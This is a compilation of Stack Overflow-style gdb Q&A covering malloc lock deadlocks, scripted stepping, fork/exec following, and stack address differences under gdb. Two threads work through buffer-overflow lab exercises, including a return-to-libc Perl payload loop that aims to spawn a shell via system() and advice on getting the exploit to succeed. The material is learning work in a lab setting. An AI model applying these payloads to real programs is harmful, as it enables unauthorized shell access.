Suppose I have some C program like this:
#include <stdlib.h>
#include <stdbool.h>
int main()
{
while (true) {
void *p = malloc(1000);
free(p);
}
return 0;
}
and I attach to it with gdb like this gdb a.out PID. gdb successfully attaches to it but that I try to do something like call printf("bla bla bla") gdb freezes and if I press Ctrl^C I get this:
(gdb) call printf("bla bla bla")
^C
Program received signal SIGINT, Interrupt.
__lll_lock_wait_private () at ../nptl/sysdeps/unix/sysv/linux/x86_64/lowlevellock.S:95
95 ../nptl/sysdeps/unix/sysv/linux/x86_64/lowlevellock.S: No such file or directory.
The program being debugged was signaled while in a function called from GDB.
GDB remains in the frame where the signal was received.
To change this behavior use "set unwindonsignal on".
Evaluation of the expression containing the function
(malloc) will be abandoned.
When the function is done executing, GDB will silently stop.
I suppose that this happens because my a.out was creating an object and acquired a lock inside malloc.c and in this moment I connected with gdb and tried to create string "bla bla bla" using malloc.
My question is how can I detect that I'm inside malloc.c and let my program finish this execution? I need to do it not inside command line but using some sort of gdb scripting (I only can execute commands inside gdb with -ex option).
The reason you're froze is probably a lock that's being held by your program, and is also required by printf. When you try to aquire it twice - you fail.
A possible WA is when breaking your program to call printf, just before you make the call, type finish - it will cause the current function to complete and return to the main frame. This will ensure the lock is free before you call printf.
If the 'finish' solution doesn't work for you. Here is another idea.
You can check if you are in malloc when you break the program. Based on the boolean in/out you skip calling the print commands. Here is a working example.
# gdb script: pygdb-logg.gdb
# easier interface for pygdb-logg.py stuff
# from within gdb: (gdb) source -v pygdb-logg.gdb
# from cdmline: gdb -x pygdb-logg.gdb -se test.exe
# first, "include" the python file:
source -v pygdb-logg.py
# define shorthand for inMalloc():
define inMalloc
python inMalloc()
end
The associated python file:
# gdb will 'recognize' this as python
# upon 'source pygdb-logg.py'
# however, from gdb functions still have
# to be called like:
# (gdb) python print logExecCapture("bt")
import sys
import gdb
import os
def logExecCapture(instr):
# /dev/shm - save file in RAM
ltxname="/dev/shm/c.log"
gdb.execute("set logging file "+ltxname) # lpfname
gdb.execute("set logging redirect on")
gdb.execute("set logging overwrite on")
gdb.execute("set logging on")
gdb.execute("bt")
gdb.execute("set logging off")
replyContents = open(ltxname, 'r').read() # read entire file
return replyContents
# in malloc?
def inMalloc():
isInMalloc = -1;
# as long as we don't find "Breakpoint" in report:
while isInMalloc == -1:
REP=logExecCapture("n")
#Look for calls that have '_malloc' in them
isInMalloc = REP.find("_malloc")
if(isInMalloc != -1):
# print ("Malloc:: ", isInMalloc, "\n", REP)
gdb.execute("set $inMalloc=1")
return True
else:
# print ("No Malloc:: ", isInMalloc, "\n", REP)
gdb.execute("set $inMalloc=0")
return False
gdb -x pygdb-logg.gdb -se test.exe
From the command line or script,
(gdb) inMalloc
(gdb) print $inMalloc
From an actual test program:
Program received signal SIGINT, Interrupt.
0x00007ffff7a94dba in _int_malloc (av=<optimized out>, bytes=1) at malloc.c:3806
3806 malloc.c: No such file or directory.
(gdb) inMalloc
(gdb) if $inMalloc
>print $inMalloc
>end
$1 = 1
I believe your script can use a similar 'if' structure to do/not do printf
Most of this was knocked off from here
Related
I have a simple test program, and I'm trying to get the execution flow (I need to know which source code lines are executed) through a GDB script which simply executes step until the end of execution. Now something weird happens: when the stepping reaches malloc function the next step seems to go directly to the end of execution.
The simple program is the following:
#include <stdlib.h>
#include<stdio.h>
int f();
void g(int);
int main(void)
{
int len = f();
g(len);
printf("Execution terminated\n");
return 0;
}
int f(){
int fvar;
fvar = 20;
int* farray = malloc(fvar);
printf("Malloc executed: %p\n", farray);
return fvar;
}
void g(int var){
int gvar=var;
for(int i=0;i<gvar;i++)
var--;
}
Once compiled with: gcc -O0 -g -o test test.c
I run the GDB script with gdb -x script, where script is:
set pagination off
set logging file gdb.log
set logging on
file test
break main
run
while ( 1 )
step
end
And what I get is:
Breakpoint 1 at 0x1189: file test.c, line 8.
Breakpoint 1, main () at test.c:8
8 {
9 int len = f();
f () at test.c:17
17 int f(){
19 fvar = 20;
20 int* farray = malloc(fvar);
Malloc executed: 0x5555555592a0
Execution terminated
[Inferior 1 (process 5017) exited normally]
script:9: Error in sourced command file:
The program is not being run.
As you can see printf statements that come after the malloc are actually executed but it seems like the script is not stepping anymore.
I tried to issue next command right after the malloc and it actually prints the next line of code so it behaves differently from step command but obviously I can't replace step with next in the script because it won't step into my functions such as f and g.
I also tried to comment the line which contains the call to malloc and running the script with this version of the code actually prints each instruction executed until the end. But obviously this is not a fix :D
The problem is that with your script you continue to do step after the program is finished, from where the error The program is not being run.
You can use the solution you want but the principal is breaking the loop before the program is terminated. One solution would be to replace the return 0; with an exit(0); and to replace the while (1) with a while ($pc! = &exit) for example or $__GI_exit. You may have a No register error, but you can avoid this error by adding a break exit before run command.
An other solution is to add a print $pc in the loop to see the last address visited before, and compare directly the $pc to this address that you are sure it will be visited after the printf to break the loop. The pribt can be deleted once the address found. The easiest way still to use exit function when it is possible.
with the exit modification in the code. And the script modification:
set pagination off
set logging file gdb.log
set logging on
file exec
break main
break exit
run
while ( $pc != &exit)
step
end
The result is :
101 in filedoalloc.c
Malloc executed: 0x555555756260
Execution terminated
Breakpoint 2, __GI_exit (status=0) at exit.c:139
139 exit.c: No such file or directory.
(gdb)
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git and gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 was used for the example.
I am recreating the buffer overflow from http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/Buffer_Overflow.pdf and I would like to write a bash script that will gdb on my "stack" executable. The script will then make break points and grab the addresses of the begging (p &buffer) and end (p $ebp) of the buffer that the will be passed into ./exploit <&buffer, $ebp> as arguments.
When I run my script..
#!/bin/sh
gdb stack
b main
b 14
run
b 23
c
p &buffer
p $ebp
When I use it, gdb is opened on my executable. However, the rest of the script is not executed. I assume this is because gdb creates a new process. I have tried " gdb stack "$$" " to get gdb on the same process as my script, however unsuccessful.
Is what I am trying to do possible?
Edit:
New Script: This correctly outputs the addresses to the command line
#!/bin/sh
gdb stack << 'EOF'
b main
run
b 23
c
s
p &buffer
p $ebp
quit
EOF
How do I grab those addresses so I can pass them in as arguments to ./exploit?
Following line of my bash file will be..
./exploit <&buffer> <$ebp>
Try
gdb -batch yourfile
as supossed in man gdb.
Or look here for an example.
I am trying to implement a buffer overflow attack and I need to know the address of my buffer that I am trying to overflow.
The address that is displayed using GDB is different than if I just did this in the code:
Exact code:
#include<stdio.h>
int main() {
char buffer[20];
printf("%p\n", buffer); // 0xbffff320
return 0;
}
However, in gdb if I do:
p &buffer
I get: 0xbffff330
Why is there a difference and will it mess up my buffer overflow attack?
I have ALSR and stack guard disabled.
Thanks.
EDIT 1: Even when I step through gdb and it encounters the print line, I get 0xbffff320 as the address
EDIT 2:
Environment: Ubuntu Linux 9 image running in virtual box on windows 7.
The gdb version: 6.8-debian
Compiled using GCC such as: gcc -g -fno-stack-protector filename.c
execute immediately: ./a.out
address printed: 0xbffff320
Then open in debugger like this: gdb ./a.out
then enter b main
then run
then p &buffer
Then address is 0xbffff330
Edit 3:
This is the gdb log to reproduce behavior:
$ gdb ./a.out
b main
run
p &buffer /* address here is different than what is shown if I run executable */
step through program to printf statement /* address here is same as p &buffer but different than what is printed when program is ran */
The question, as I understand it, is why the address of a local variable in main is different when the program is started from the shell versus when it is started from gdb.
Here's a sample program to show the difference:
mp#ubuntu:~$ cat s.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[20];
system("env");
printf("%s %p\n", argv[0], buffer);
return 0;
}
We'll run it in a clean environment. (I also disabled ASLR).
mp#ubuntu:~$ env -i sh
$ ./s
PWD=/home/mp
./s 0xbffffe48
$ gdb ./s
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
/home/mp/s 0xbffffe08
The output from gdb's print &buffer command is the same as the program's idea of the address, but they're both different from when the program was run in the shell.
(gdb) b 6
Breakpoint 1 at 0x804849c: file s.c, line 6.
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
Breakpoint 1, main (argc=1, argv=0xbffffed4) at s.c:6
6 printf("%s %p\n", argv[0], buffer);
(gdb) p &buffer
$1 = (char (*)[20]) 0xbffffe08
(gdb) n
/home/mp/s 0xbffffe08
8 return 0;
There are a couple of things contributing to the difference:
gdb is invoking the program with an absolute pathname, so the argv array is bigger.
gdb sets (or in this case, adds) two environment variables. This is done in readline/shell.c:sh_set_lines_and_columns(). So the environ array is bigger.
To remove those two variables from the environment, you can use unset environment, or set exec-wrapper to run env -u .... That way, the program's addresses under gdb are the same as when it's run in the shell (if we use an absolute pathname).
$ `pwd`/s
PWD=/home/mp
/home/mp/s 0xbffffe28
$ gdb `pwd`/s
(gdb) set exec-wrapper env -u LINES -u COLUMNS
(gdb) run
Starting program: /home/mp/s
PWD=/home/mp
/home/mp/s 0xbffffe28
Your array object in your system is stored in the stack. At the top of your stack there is, among other, the environment. When you run your program with gdb, gdb will provide a different environment (the env var and their value) which explains the addresses difference.
You can check the difference by running show environment in gdb and by comparing the output with set command in your shell.
Found out that this is expected behavior in old versions of GDB (mine is 6.8-debian), and if you construct your buffer overflow attack properly you can work around this behavior and it won't be a problem.
For the moment, the only reasons I can imagine are :
you tried to print &buffer after your program terminated. Solution: try setting a breakpoint on main, run, next to execute printf, and print &buffer.
you first ran your program outside gdb, then ran it inside gdb but forgot to execute the printf line with next.
a bug in your version of gdb
a bug in your version of gcc (gcc might produce incorrect debug info: see 1 and 2)
I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.
I have a C linux application (A) that spawns another process (P) when it is started. When I want to debug P I start A as usual and I connect with ddd/gdb to P.
Problems appear when I want to debug the entry-point (start of main) of P. If I follow the usual approach when I connect the debugger to P is already to late. The solution I've found was to insert a sleep at the begining of the main of P so I have time to connect with gdb but this is not a very elegant solution.
I've also tried using asm("int $3") but it doesn't seems to work.
Do you have any idea how I could solve this problem? (preferably without altering the code of A or P)
You should use this option:
set follow-fork-mode mode
Where mode is one of parent, child or ask.
To follow the parent (this is the default) use:
set follow-fork-mode parent
To follow the child:
set follow-fork-mode child
To have the debugger ask you each time:
set follow-fork-mode ask
So basically you'd start out connecting gdb to A, then set gdb to follow the child, and then when A spawns P, gdb will connect to P and detach from A.
In addition to the Nathan Fellman's answer, catchpoints come in handy, i.g.:
catch exec
Catchpoint works as a breakpoint. Every time a call to exec() syscall is detected, GDB stops. This allows you to set any breakpoint (i.g. break main) in any newly loaded executable before continuing. Another catchpoint catch fork works similarly for fork() syscall detection.
It is especially convenient:
when both parent and child has to be followed (set detach-on-fork off);
when parent processes forks often loading various executables.
exec part with file + break main
The fork was part was explained at: https://stackoverflow.com/a/377295/895245
Now for the exec:
a.c:
#include <unistd.h>
int main(void) {
execl("./b", "./b", "ab", "cd", (char*)NULL);
return 1;
}
b.c:
#include <stdio.h>
int main(int argc, char **argv ) {
printf("%s\n", argv[0]);
printf("%s\n", argv[1]);
}
Then:
gcc -g a.c -o a
gcc -g b.c -o b
gdb -nh -q a
Now on the interactive session:
Reading symbols from a...done.
(gdb) start
Temporary breakpoint 1 at 0x4004ea: file a.c, line 4.
Starting program: /home/ciro/test/gdb-exec/a
Temporary breakpoint 1, main () at a.c:4
4 execl("./b", "./b", "ab", "cd", (char*)NULL);
(gdb) file b
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Load new symbol table from "b"? (y or n) y
Reading symbols from b...done.
(gdb) b main
Breakpoint 2 at 0x4004f5: file b.c, line 4.
(gdb) n
Breakpoint 2, main (argc=0, argv=0x7fffffffa570) at b.c:4
4 printf("%s\n", argv[1]);
(gdb) n
process 4877 is executing new program: /home/ciro/test/gdb-exec/b
Breakpoint 2, main (argc=3, argv=0x7fffffffa598) at b.c:4
4 printf("%s\n", argv[1]);
(gdb) n
ab
5 printf("%s\n", argv[2]);
(gdb) n
cd
6 }
(gdb)
You just have to make sure that you go up to the exec before running file, possibly with a b execl, since after that you will be using symbols from the new file.
Tested in Ubuntu 14.04, gdb 7.7.1.
You should be able to do this by making use of gdb's remote debugging features, specifically gdbserver. In effect, launch (P) using gdbserver. These links have more detailed info:
Using gdbserver
GDB Remote Debugging
set a break point at main(), it will also break at main() of the execed program.